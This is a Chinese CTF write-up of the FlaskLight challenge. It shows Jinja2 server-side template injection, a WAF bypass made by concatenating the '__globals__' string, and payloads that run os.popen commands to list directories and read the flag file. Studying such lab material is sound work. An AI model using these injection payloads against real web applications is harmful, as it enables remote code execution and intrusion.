[CSCCTF 2019 Qual]FlaskLight

前言

白天一直在上课,晚上赶快躲进图书馆里面打打靶场。这次的题目算是很简单的一道题目了,我做完之后还去看了看其他师傅写的博客,只能感叹一声太强了。我根本就没有考虑这些,就直接去找flag了。

正文

很喜欢这样的题目,在每一步之后出题人都会贴心的留下下一步的线索,不至于做完第一步后,不知道自己在干嘛,甚至是不知道自己第一步做对了没有。打开题目

出题人让我们用get进行传参,向这个网站里面传一个search进去。我们尝试之后发现这个地方存在SSTI。

因为是用flask搭建的网站,所以这里的判断很自然就是jinja2的模板注入。
我们用如下的方式来测试一下python的版本

[].__class__.__mro__[-1].__subclasses__()[40]


这里给到我们的信息是该python版本是python2,因为在python3中subclasses()里面是没有type file的。emm,不知道该干嘛了,先去看一下环境变量吧。直接{{config}}(惊了,居然能成功)

说实话,config这玩意我是不指望着他能成功的,但是没想到这道题连这个都没过滤。我们看到了出题人给我们的提示,他说flag就在当前的目录下面,也就是说flag与工程文件同处一个文件夹下。
在这里我尝试了很久,服务器总是给我报500的响应码,我推测是有过滤。然后在我一个一个删除关键字后,我发现这道题过滤的是globals。那用字符串拼接过滤试试看

这里发现服务器已经可以正常地给我返回信息了,所以说题目里面的waf我们应该是已经绕过去了。
接下来我们用如下payload

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}


我们直接进入工程文件下面列目录

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27ls /flasklight%27).read()")}}


最后cat一下里面的coomme_geeeett_youur_flek

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27cat /flasklight/coomme_geeeett_youur_flek%27).read()")}}

后记

看了其他师傅的文章,有些师傅是通过subprocess.Popen来实现命令执行的,又是一个新姿势。个人感觉这道题还是挺简单的,每条路都能走通,甚至可以不用内建函数__builtins__都行,可以用global里面的os进行RCE。

[CSCCTF 2019 Qual]FlaskLight——直取flag?相关推荐

  1. [CSCCTF 2019 Qual] FlaskLight

    信息收集 index大致就这样,没什么信息 F12看下,发现了线索:search参数 试下ssti 基本就是ssti了 漏洞利用 config 也是 Flask模版中的一个全局对象,它包含了所有应用程 ...

  2. 一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI

    目录 SSTI 无二次渲染的示例 存在二次渲染的示例 漏洞复现 [CSCCTF 2019 Qual]FlaskLight 做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是 ...

  3. ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

    [CSCCTF 2019 Qual]FlaskLight 1 查看网页源代码,发现里面的提示 尝试输入url http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.n ...

  4. BUUCTF:[CSCCTF 2019 Qual]FlaskLight

    题目地址:https://buuoj.cn/challenges#[CSCCTF%202019%20Qual]FlaskLight ?search={{7*7}} #通过回显判断SSTI ?searc ...

  5. [CSCCTF 2019 Qual]FlaskLight SSTI注入

    进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 - 知乎 可以发现在searched后面输出了49 ...

  6. [CSCCTF 2019 Qual]FlaskLight 记录

    这个根据题目名字,flask模板注入,找注入点 查看源码发现GET传参 直接测试模板注入 常规模板注入 试了试之前做过的模板注入,都行不通 然后百度了一波,原来这是python2的 难怪不行 {{'' ...

  7. 微信小程序火车票查询 直取12306数据

    最终效果图: 样式丑哭了,我毕竟不是前端,宗旨就是练练手,体验微信小程序的开发,以最直接的方式获取12306数据查询火车票. 目录结构: search1是出发站列表,search2是目的站列表,命名没 ...

  8. [python爬虫之路day5]:实战之电影天堂2019精选电影爬取

    **前言:**通过本次学习新掌握以下函数用法. map(lambda x:x+3,5) .startswith("ads ") .strip() 除去前后空格 a.format(1 ...

  9. 英雄七十寿 无物下冷酒 横刀上闹市 直取数人头

    英语考完罗... 哈...哈...哈... 气概犹在.   转载于:https://www.cnblogs.com/net66/archive/2010/01/09/1643164.html

最新文章

  1. AI:2020年6月22日北京智源大会演讲分享之10:40-11:10Daniel教授《 可微分的加权有限状态机及其机器学习应用》、11:10何晓冬教授《启动“智源-京东”任务导向多模态对话大赛》
  2. 基于小波变换的图像边缘检测(matlab祖传代码注释)
  3. linux+shell+func,Linux shell编程笔记总结
  4. maven java管理_java – 依赖管理与maven
  5. 工作总结 EntityFramework中出现DateTime2异常的完美解决办法
  6. 厉害了,Netty 轻松实现文件上传!
  7. Week 10 homework
  8. 【android免root脚本制作】自动坐标操作手机——京东金融程序金果摇钱树自动收金果
  9. 网线制作实验相关内容
  10. 华为公有云服务-计算类(2)
  11. vue 井号_使用Vue 2制作井字游戏:第1部分
  12. java数组初始化的方式_java数组初始化方式
  13. 部分mp4视频在ios手机端上无法播放问题
  14. 37、免驱动USB双目同步测距3D活体深度检测和RV1126结合V4L开发USB摄像头使用
  15. mysql连接access失败_我用工具怎么连接不上mysql数据库的? MySql access denied for user错误...
  16. 全球500强员工是这么考试的!还有答案~
  17. windows系统删除顽固文件
  18. 电脑突然上不了网,该怎么解决
  19. 制作一个自己的对战平台
  20. Android平台签名证书(.keystore)生成

热门文章

  1. matlab怎么测脉络膜血管密度,【CCOS2016】OCT血管成像的发展之路
  2. SDOI 2009 学校食堂
  3. 微分几何笔记(2):微分流形的例子
  4. 谈谈Sublime Text 3 与 Soda Theme
  5. CentOS 6.4 安装极点五笔输入法
  6. 华山论剑之iOS中(数组,字典,SQLite,CoreData)的“增删改查“
  7. 局域网访问提示无法访问检查拼写_win10无法访问局域网电脑 请检查名称的拼写...
  8. Unity DOTS 学习笔记2 - 面向数据设计的基本概念(上)
  9. 无线网卡驱动突然坏了怎么办
  10. 【UOJ #62】【UR #5】怎样跑得更快(莫比乌斯反演)